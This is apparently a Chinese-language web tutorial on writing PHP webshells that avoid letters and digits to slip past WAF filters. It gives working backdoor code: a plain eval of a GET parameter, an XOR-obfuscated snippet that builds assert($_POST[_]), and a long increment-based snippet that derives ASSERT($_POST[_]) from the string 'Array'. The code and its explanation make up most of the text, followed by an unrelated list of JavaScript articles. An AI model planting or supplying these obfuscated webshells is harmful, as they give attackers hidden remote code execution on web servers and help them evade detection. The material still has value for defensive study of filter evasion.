如何通过非数字与字符的方式实现PHP WebShell详解
前言
本文主要给大家介绍的是关于通过非数字与字符实现PHP WebShell的相关资料，分享出来供大家参考学习，下面来一起看看详细的介绍：
一般来说，我们所写的webshell通常都会包含数字或字母。比如说下面这样：
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])){
eval($_GET['shell']);
}
但如果你想要绕过WAF的话，你还得使用一些其他的技术来重写你的webshell。
思路
首先我们要明确思路，我的核心思想就是通过一系列字符变换最终利用非字母和非数字字符构建出webshell，然后使用PHP的动态函数（例如“assert”）来完成函数名的拼接，最后动态执行构建出来的代码。
所以，转换方法就是解决这一问题的重点了。但是在开始之前，我需要跟大家讨论以下php5和php7之间的区别。
php5的断言（assert）是通过函数实现的，我们可以使用$f='assert';$f(…);这种方法来动态执行任意代码。但是在php7中，断言已经不再是一个函数了，而是一种语言结构（类似eval），而且断言（assert）也无法再作为函数名来实现代码的动态执行了，所以对于php7来说，问题可能会变得更加复杂了。不过各位也不用太过担心，因为我们可以使用 file_put_contents函数来达到我们的目的。
为了方便起见，本文的实验环境使用的是php5，关于php7的利用方式就请各位自行去探索啦:D
方法一
这是一种最简单的方法了。在php中，我们可以通过异或运算（XOR）来得到一个或两个字符串。因此，如果我们想要得到一个a-z之间的英文字符，我们就可以通过两个非字母字符和字符数来生成所需要的字母字符。示例代码如下：
<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
解析结果如下：
方法二
在这种方法中，我们可以使用一些特殊的小技巧来实现我们的目标。首先，请大家参考php.net的这份文档：【传送门】
文档中写到：“在处理字符变量的算术运算时，PHP遵循的是Perl的规范，而并非C语言规范。比如说在PHP和Perl中，$a = ‘Z'; $a++;经过计算之后变量$a会变成 ‘AA'，但是在C语言中， a = ‘Z'; a++;计算后会将a变为‘['（‘Z'的ASCII值为90，‘['的ASCII值为91）。请注意，字符变量可以进行自增运算但无法进行自减运算，而且只有ASCII字母和数字（a-z，A-Z，0-9）才支持这种运算，如果对其他字符变量进行这种运算将不会有任何作用，此时的原始字符串将保持不变。”
那么接下来，我们应该如何才能得到一个包含字符‘a'的变量呢？
字符串“Array”的首字母是一个大写的‘A'，而第四个字母则是一个小写的‘a'。换句话说，我们可以通过这个字符串同时得到大写和小写的字母‘a'（A），这也就意味着我们可以通过这种方法得到a-z和A-Z中任意一个字母字符。
比如说在PHP中，如果你想拼接数组和字符串，那么你首先要将字符串（array）转换成一个字符串（这个字符串的值为Array）：
然后截取字符串的首字母，我们就得到了‘A'。
利用这项技术，我编写了如下所示的webshell（由于PHP函数是对大小写敏感的，所以我在结尾补上了ASSERT($_POST[_])）：
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);
解析结果如下图所示:
总结
很多网站现在都会对特殊字符进行过滤和检测，因此希望这项技术可以给各位Web渗透测试人员提供一些解决问题的思路。
好了，以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作能带来一定的帮助，如有疑问大家可以留言交流，谢谢大家对脚本之家的支持。
相关文章
javascript jq 弹出提示效果实现的方法有很多，可能会在某些地方看到过，下面为大家演示个示例介绍下如何实现jq 弹出层，感兴趣的朋友可以参考下2013-08-08
这篇文章主要介绍了js显示世界时间的方法,可现实世界各大城市的当前时间,涉及JavaScript针对时间的获取与运算操作技巧,需要的朋友可以参考下2016-04-04
这篇文章主要介绍了JS实现简单的二元方程计算器功能,涉及javascript数学运算相关操作技巧,需要的朋友可以参考下2017-01-01
激活 ActiveX 控件...2006-10-10
所谓的提升用户体验,其实就是把所有用户视为懒鬼,比如JavaScript自动完成(Autocomplete)脚本, 常用于表单,用户只需输入一两个字母,就为你扩展、联想、匹配和供君选择,2009-10-10
这篇文章主要介绍了微信小程序 轮播图实现原理及优化详解,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下2019-09-09
URL.createObjectURL()方法会根据传入的参数创建一个指向该参数对象的URL. 这个URL的生命仅存在于它被创建的这个文档里. 新的对象URL指向执行的File对象或者是Blob对象,这篇文章主要给大家介绍了关于JS中URL.createObjectURL使用的相关资料,需要的朋友可以参考下2022-03-03
这篇文章主要介绍了微信小程序-页面间值传递的2种方法，每种方法通过实例代码给大家介绍的非常详细，具有一定的参考借鉴价值,需要的朋友可以参考下2018-11-11
废话少说，直接上Code,对IE与FF下的差异，均在代码中有相关的注解2010-03-03
这篇文章主要介绍了javascript编写实用的省市选择器的方法及示例分享，非常不错，推荐给有相同需求的小伙伴们。2015-02-02
最新评论